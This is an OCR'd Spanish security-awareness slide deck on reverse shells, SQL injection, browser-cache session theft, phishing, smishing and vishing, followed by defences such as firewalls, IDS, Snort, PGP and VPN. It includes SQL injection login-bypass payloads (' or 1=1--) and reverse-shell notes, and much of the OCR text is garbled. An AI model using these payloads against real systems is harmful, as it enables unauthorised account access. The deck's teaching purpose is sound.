(+.c...P.CHZ. ..y

9:44.765937 IP iieedemmtetep®® 21 > skylark.3558: . ack 11 win
IC+.P.Cu....

9:44.765937 IP skylark.3558 > Sewgeussee 21: P 11:12¢1) al
C+.c...P.CMf...m

9:45.065894 [P ekl 21 > skylark.3558: . ack 12 win
_.I(+.P.Cu....
29:45 . @65894 IP skylark.3558 > ettt 21: P 12:14(2) a
I¢+. c...P.CMdJ. .ou
29:45 . 38A899 IP iidTeebfesininteell 21 > skylark.3558: . ack 14 win
I¢+.P.Cs....

9:45.388899 IP skylark.3558 > Seveepemmpep 21: P 14:17¢3> a
C+.c...P.CMU.. .=

4:29:45_501283 [P SeGembfepimmiepll . 21 > skylark.3558: P 52:124(725%

c.. . J¢+ P.Cp....331| Anonymous access allowed, send identit
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Reverse Shell

La técnica de reverse shell o consola reversible, consta de
un listar un puerto con la ejecucion de una consola, la cual
al conectarnos remotamente obtendremos la consola
remota del ordenador target.

Ncip 111

v

Port 111
Reverse Shell CMD Listen
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SQL Injection

La inyeccion SQL consiste en la modificacion del
comportamiento de consultas mediante la introduccion de
parametros no deseados en los campos a los que tiene
acceso.

El conflicto que sucede para esta vulnerabilidad es el mal
filtrado de las variables utilizadas.

Consta de la inyeccion de cédigo SQL en una consulta
SQL para alterar su funcionamiento normal. Lo cual al
Inyectarse se ejecutara la consulta inyectada que puede
llegar a comprometer la seguridad.
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SQL Injection - Ejemplos

- Login:' or 1=1--

- Pass:' or 1=1—

- "having 1=1--

- ' group by userid having 1=1--

- http://website/index.asp?id=' or 1=1--
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Ejemplo de autenticacion de un usuario

Normal
Select idusr from tabla_users Where
usuario='$usuario’
Andclave="$clave’;

Usuario | Admin

Clave ‘or 1=1--

Select idusuario from tabla_usuarios Where
usuario=‘Admin’
And clave=" or 1=1--";
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. Login. Acceso usuarios registrados

Si no tiene cddigo ¥ contrasena debera rellenar el formulario de reqgistro

DTG0 |uaer

COMTRASEMA Illllllllll — ‘or1l=1--

Enviar | Restablecer

Ayuda
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Bienvenido a JOSE RAMON PED.

Centro de atencion al usuario. Call center

n Portales asociados Globaluno
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Robo de Sesiones: Caché del Navegador Web

Caché de IE

C:\Documents and Settings\USUARIO\Configuracion local\Archivos
temporales de Internet

Para poder robar las sesiones, es necesario que un usuario
no alla cerrado la cuenta desde el sitio oficial. Generalmente los
usuarios cierran la ventana, pero no la sesion.

Es muy comun en Cybers.
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fm Archivos temporales de Internet - Mictosoft Interpet E;
Archive

Edicion  Yer | Faworitos  Herramigntss Avida

@F\trés - '\‘...i} - .?

/__] Blsgueda |I Carpetas | ey | ¥ x n | v

Direccian llﬂ C:\Documents and Settingst YConfiguracidn locallarchivos temporales de Internet

MNombre:

| Direccion de Internet

nﬁipscan

oo,

=1

=Hae=
&7 tpy
=

7gFx=gFx&random_num=17046

Tonly_with_tag=

[ et =S iermeds - Pagina v ..

@ T =button bype=button class=a. ..
#P<option id=nm value=nil disab...
=l 2025mg width=15 height=15 tit..
P?TRIDENT REQ (nore) [ attempt 1

B 2auth=DgansHMARAByD_Pasz, .,
| 7ik=a4077F53398s8arch=inbox. ..

@ tik=e0fbeB6dedasearch=inbox...
Tik=eOfbeBtdaqtview=Fthrdath. .,

hktp: ifipscan, sourcefc

yO:0,1 4
wigw-sourceshbkps: |
[lad= B FLTIRIOR .o
REbps | e, ot com
Pl e

EEads

FOFOFFFTFETTsTesees
FITRTIRIRRIIIIIRIIIRY
POPOPIPIPTIITTeeeT

#7=button byvpe=butt:
7 =opkion id=nm walue
O73mg width=15 hei
#PTRIDEMT REQ (none
http:ffmail. google. cor
http: f feaww, profession
itk ffmail. google. corn
ikt ffrmail. google. con
#7tp: fmail. google. con
kb § e, securitwFe

http:/,/mail.google.com;/mail /?auth=D0j

General |

Tipa: Aachiva

Tamafio:  2.25KB

‘Mombre de caché:  maili]
‘Caduca; Minguna

Ultima modificacion: Ninguna

Ultimo aceeso: 28/02/2007 16:59

TS url=httpen 3o
\sahw, com)&k=Sergio’

TRRRRRIRRRIIIIIIRINNY

Xy 3O 7CmYqDORE

dcaaZalfe33f-11109F
g=

?page_id=3 kb # i, cqure, niet

&l Ypage_id=6 Rtk § e, cqure, net

@_ G e | T Aceptar I Cancelar | _|;|
4 4
|Gmai|

|4 Internet
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Robo de Identidad
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—
» Robo de Identidad
» Phishing
» Smishing
» Vishing
/
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¢, Qué es el Robo de Identidad?

El robo de identidad se produce cuando un impostor
obtiene sus datos personales, ya sean:

v Nombre

v Numero de Seguridad Social
v CUIL

v DNI

v Etc

Para usarlos con fines fraudulentos.
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¢, Qué puede hacer un impostor con sus datos personale  s?

»~ Solicitar tarjetas de crédito

» Alquilar departamentos.

» Solicitar servicios telefonicos
» Solicitas Prestamos

» Comprar objetos

» Solicitar un empleo

»~ Otros
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Factor Miedo

Los individuos maliciosos, al intentar hacer el fraude, utilizan
el factor miedo contra las personas. Esto quiere decir que
utilizan metodos para que las personas piensen gue si ho van
a hacer lo que el “e-mail,sms y web” dice, les pasara algo con

Sus cuentas.

Si usted no ingresa a sus datos en un periodo de 24  hs,
Se cerraran sus cuentas y no podra operar.
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Fraudes Electronicos

v Phishing
v~ Vishing
v Smishing
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¢,Qué es el Phishing?

El Phishing es un termino caracterizado por
intentar adquirir informacion confidencial de forma
fraudulenta, como puede ser una contrasefa,
iInformacion de tarjetas de creditos u otra
iInformacion bancaria.
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Métodos de Actuar del Phisher

~ El Phisher se hace pasar por una autoridad de confianza, como
puede ser un Banco.

»~ Falsificacion de Pagina Web de la entidad de confianza.

» Utilizacion de la técnica de Cross Site Scripting para engaiar a los
clientes.

» Utilizacion de medios de comunicacion para el fraude: e-mail o
publicidades.
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Métodos de Actuar del Phisher

» Registran dominios parecidos a los de la entidad de confianza.
» Ofuscan los dominios o direccion IP.

» Redireccionan los datos del cliente a una base de datos fraudulenta.

» Utilizan el Factor miedo.

» utilizan la Ingenieria Social.
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Eiemplo de un Phishing

Entidad de Confilanza: Banco ExXE

Sitio Web: www.bancoexe.com

Serivicio Inet: Home Banking
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73 Banco EXE - Microsoft Internet Explorer = x

archiva  Edicién  Wer Favoritos  Herramientas  Awuda a’

@ﬁtrac . '&.) u ﬂ !'] H]Etusqueda H; Favaritas eMultn'nedla {3}‘ L .:_ . = J

Banco ExE

Home Banking

Usuario

Contraseiia

Ingrese desde nuestro servicio de Home Banking para
ventficar sus estados de cuenta, prestamos v por el solo hecho
de ingresar, tendras la opotrtunidad de ganarte un Autornowl

Oletn gractas al sorteo Bance ExE 2007,

=l

|&] Listo | |E=.;n|:|:| iE:-:E - Microsoft Internist Explorer |




!OEO !e |!ent|5a5

Podemos observar que el nombre del dominio
esta tratando de pasar desapercibido.

El sitio original es: http://www.bancoexe.com

El sitio fraudulento: http://www.bancoeexe.com

Direccian \ http:,l',l'www.hann:n:nT:-:e.n:Dm

Una “e” de mas.
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Podemos observar que no se usa una conexion
segura ( SSL).

El sitio original es: https://www.bancoexe.com

El sitio fraudulento: http://www.bancoeexe.com

Direccinﬂn\ hkkp: [ v, bancoeexe, com

No existe conexion
segura ( https)
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Home Banking

Usuario

Contrasena

Ingrese desde nuestro servicio de Home Banking para
verficar sus estados de cuenta, prestamos v por el solo hecho

de mgresar, tendras la opotrtunidad de ganarte un Autornowl
Olern gracias al sorteo Banco ExB 20077

|

Utilizan métodos para incitar al Cliente a que ingr  ese.
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Cuando el cliente ingresa los datos, los mismos son
redirigidos a otra maquina, donde guardara sus datos para
futuros fraudes.

08T » HITPA1.1

Accept: imagesgif,. imagesx—xhitmap, image/jpeg. imagespjpeg,. applicationsvnd.ms-—
pxcel, applicationsvnd.ms—powerpoint, applications/msword, applicationsx—shockuwau
p—f lash, =/=

ccept—-Language: es

ontent—-Type: textsplain

ccept—Encoding: gzip, deflate

ser—Agent: Mozilla-4.8 <compatible:; MSIE 6.H:; Windows NT 5.1>

ozt dnfhiieelGenfamig-

ontent—-Length: 58

onnection: Keep—-Alive

ache—Control: no—cache

nsuario=fernande=
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En la mayoria de los casos usan JavaScript para
ofuscar los enlaces de manera que desde el
explorador Web usted vea el enlace oficial, mientras
es redirigido a un enlace fraudulento.

Boton para ingresar al
servicio de Home Banking,
que se encuentra ofuscado

mediante JavaScript.

Home Banking -

v

|@ htep: [/ fwia, bancoexe, com)
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Al finalizar con la obtencion de sus datos personales,
los redirigira a otro sitio Web, mayoritariamente
diciendo que existen problemas en las bases de
datos, que por favor intente ingresar mas tarde.
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3 Banco EXE - Microsoft Internet Explorer

archiva  Ediién  Yer Favoritos  Herramientas  Ayuda

| dr

0= O NEG

IO.BKE'SQUEHE ﬁﬁ'&\-’bﬁm: emu}rmad'ia.: @‘ @ﬂ,ﬁ}, ;*D

Direccitn

hitkp: f fuvay bancoeexe, comjerror, html

=l Er

Banco ExE

=

Por cuestiones tecnicas, no es posible acceder a la
Base de Datos de Banco ExE. Por favor, intente

ingresar mas tarde.

Muchas Gracias

Listo

[T (3w

wCuiuv 'JUI Tl AuUlUIl A vvvvvv.oCyuTininu.wvuiii.ci
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E-mails de la entidad fraudulenta

Banco ExE

Estinade Clente:

Maos dinpmmos a usted para bnndarle un mejor servicio de Cuentas Personales, ast
no solo podra vertficar su estade de cuenta sine tambien ver en formato grafice
una ampha resolucidn de sus gastos con su tarjeta de credito - prestamoes v transferencias.

Para ello necesttamos de su cooperacidn v que ingrese desde nuestro enlace:
httpffwrarwr bancoexe comn , acceda a su cuenta para nosotros podremos validarla v brindarle
SEIVICIOS.

Desde wva muchas gracias por confiar en nosotros.

Atte. RR.HH
Juan Fulano
BExE - Banco ExE

Cedido por el autor a www.seqgu-info.com.ar




Medidas Preventivas
contra el Phishing
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Robo de Identidad

v Ingresar al sitio Web desde la pagina principal, nunca desde
un e-mail o enlace “link.

v~ Utilizar un explorador Web que sea seguro, actualizar sus
parches de seguridad.

v Usar los teclados virtuales que habilitan los bancos para
evitar hurto de datos.

v~ No responder e-mail no deseados.

v La entidad oficial nunca pedira tu usuario y contrasefia via
telefono, mail o MSN.

v~ Comprobar que la pagina donde ha ingresado sea segura.

v Revisar periédicamente sus cuentas.
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El Phishing no es un fraude que afecta solo a entidades
Bancarias, también afecta a:

v Proveedores
v Web Mails

v Y cualquier sitio que sea necesario ingresar datos
personales.
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Smishing
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Robo de Identidad

Smishing

El Smishing es un meétodo fraudulento que suplementa al
Phishing.

Su método de operacion es:

» Enviar mensajes SMS a personas, publicitando o pidiendo
gue ingresen al enlace que se encuentra en el mismo.

» En los Smishing Bancarios, se utilizan como ayuda para
el fraude los servicios de Banca Movil, en el cual los
phishers se pueden valer o arriesgar de que una persona es
cliente de Banca Movil y asi poder a través de falsificacion
de SMS hacer que ingrese al sitio esperado.
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Ejemplo de Smishing

Usted se ha ganado un auto, ingrese sus datos
en phishing.com o perdera el premio.

Cedido por el autor a www.seqgu-info.com.ar




Vishing — Phishing via VolP

Cedido por el autor a www.seqgu-info.com.ar
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Vishing

El Vishing es una nueva metodologia para los timadores, que
utiliza el protocolo de voz sobre IP, su funcionamiento es el
siguiente:

» Envian E-mails falsificando una entidad bancaria.

» En el mensaje explica que por problema por favor llame a un
numero local, el cual esta escrito en el e-mail.

» Cuando el cliente llama a ese teléfono, un mensaje grabado
pide que ingrese sus datos personales.

Se han registrado varios casos en EE.UU
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Metodos de proteccion

N

Privilegios Minimos

Desactivacion de Servicios

YV YV V

—irewalls
> IDS
> VPN

» Backups
-
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Metodos de proteccion

Privilegios Minimos

Una de las mejores medidas de proteccion con
software malicioso y para la mayoria de las
amenazas existentes, es el uso de privilegios
minimos al conectarse a Internet.

Si un usuario se conecta a Internet con privilegios
de administrador, como sucede en la mayoria de
los usuarios que usan sistemas Windows, tiene un
%100 de probabilidades de infeccion. En lo
contrario un usuario sin privilegios, no podra
infectarse, ya que para que suceda la infeccion es
necesario la ejecucion de un software, el cual no
podra ser ejecutado por no tener los privilegios.
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Desactivacion de Servicios

La desactivacion de servicios es un punto importante a la hora de
configurar un sistema, no solo por seguridad sino también por
rendimiento.

=18 x|

Archivo  Accidn  Wer  Ayuds
« =@ (2] » i m
% Servicios (locales)

Selecrione un elemento para ver su Mombre  # | Descripidn | Estado | Tipo de inicio | II‘H(I:I

descripeidn. B Servicio COM de grabacian de ... Administrall... Manual Siste
%Servicm de alerta Motifica au... Manual sEfy
%Sarviuu de descubrimientos SSDP Habilita el d...  Iniciado Manual sery
%Servicm de Index Server Indiza el co... Manual Siste
%stmu de informe de errores Permite inf...  Iniciado Automatico Siste
%Servicm de puerta de enlace de ... Proporcion...  Iniciado Manual =
%Sarwcm de restauracion de siste.., Realizafun.,,  Iniciado Automética Sistt
%Sarvitm de transferencia intelig...  Usael anch... Iniciado Automético Siste
%Sarwcm del administradar de dis... Configural.., Manual Siste
%Sarviuus de difrado Proporcion, Iniciado Automatico Siste
%Servlcms de Terminal Server Permite qu... Deshabilitada Siste
%Sarviuus IPSEC Administral... Deshabilitada Siste
%Servidor Ofrece com...  Iniciado Automética Sistt
8 Sistema de alimentacién ininterr...  Administra ... Manual sery
%S\stema de ayuda de tarjetaint... Ofrece com... Manual serYy
%Swstema de sucesos COM+ Admite &l 5., Iniciado Manual Siste
%Tarieta inkeligente Administra ... Manual =
%Talefonia Ofrece com...  Iniciado Manual Siste
%Talnet Permite qu... Deshahilitado Siste
%Temas Proparcion...  Iniciado Automéatica Sisty
Sywindows Tnstaller Instala, re... Manual Siste
%Windows User Mode Driver Fra...  Enables Wi... Iniciado Automética SEfy
4 |

Extendidn 4 Estandar /.
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Firewalls

Un Firewall es un software o dispositivo que filtra 'y
controla toda la comunicacion desde una red a otra.

Examina las conexiones entrantes y salientes,
verificando si son permitidas o denegadas.
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Firewalls

WAN

LAN

Servidor e e

Firewall
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IDS — Intrusion Detection System

Un sistema de deteccion de intrusos (IDS) es un
software o dispositivo que analiza la actividad
del sistema y de la red en busca de entradas no
autorizadas y/o actividades maliciosas.

IDS

(Monitoriza) ( Detecta) (Previene)
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Tipos de IDS

IDS Basados en Host (HIDS)
IDS Basados en Red (NIDS)
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NIDS

Los NIDS verifican el trafico no
deseado y actua en base a ello.

Cedido por el autor a www.segu-info.com.ar




Metodos de proteccion

¢,Porque un NIDS?

Aumento de Ordenadores Conectados.

Aumento de intrusiones.

Prevencion.

Son capaces de analizar grandes volimenes de datos.

Son capaces de Detectar:

IP Spoofing
DoS
Envenenamiento Arp

Corrupcion de nombres DNS
Sniffers
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Snort

WWW.snort.org

Es un software muy flexible.
Permite adaptacion de otros sistemas.

Es uno de los NIDS mas usados.
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IDS Basados en HOST (HIDS)

Un IDS basado en host analiza diferentes areas
para determinar el uso incorrecto o
Intrusidonones.

Consultan diferentes tipos de registros de
archivos, como los del kernel, sistema,
servidores,red,etc) y comparan los registros
contra una base de datos interna de anomalias

comunes sobre atagues conocidos.
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Contrasenas Fuertes

Las recomendaciones son:

Mayor de 14 caracteres.

Caracteres variados. Ejemplo: Tij%4/x"2~$d!

No usar palabras de diccionario.

No anotarla en un papel (recordarla de memoria)
Modificarla mensualmente.
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Anti-Spyware

En estos dias donde el Malware crece cada dia mas, es
necesario la instalacion de un anti-spyware para evitar
conflictos adversos.

Entre los mejores:
Spybot
Hijackthis

-

Spybetg]
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Encriptacion de Datos

La Encriptacion de datos permite proteger la informacion en contra
de usuarios no autorizados.

Permite:
Proteger datos almacenados en el disco.

Evitar que en caso de robo, no pueda ser legible por personas no
autorizadas.

Resguardar la Integridad de los datos.

Asegurar la confidencialidad de los datos.
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PGP — Pretty Good Privacy

WWW.pgp.com

Es facil de utilizar.

Es Accesible para varias plataformas (DOS/Windows, UNIX, Mac, etc).
Esta basados en algoritmos seguros como: RSA — IDEA.

Ofrece Confidencialidad — Integridad — Autenticacion.

Permite la creacion de firmas y certificados digitales.

Permite el cifrado de discos rigidos

Otros.
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VPN — Red Privada Virtual

¢/ Oué es una VPN?

Una VPN es una tecnhologia que permite una extension de
la red local sobre una red publica, como por ejemplo
Internet.

Es muy utilizada para generar conexiones seguras, por
ejemplo cuando un usuario necesita ingresar al sistema de

su oficina de forma segura.
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VPN — Red Privada Virtual

¢/.Queé ofrece una VPN?

Autenticacion
Integridad
Confidencialidad
No Repudio
Disponibilidad
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Buckups

“El resguardo de datos es tan importante como
los mismos datos”

“Gran parte de la recuperacion de un
Incidente depende de los buckups”
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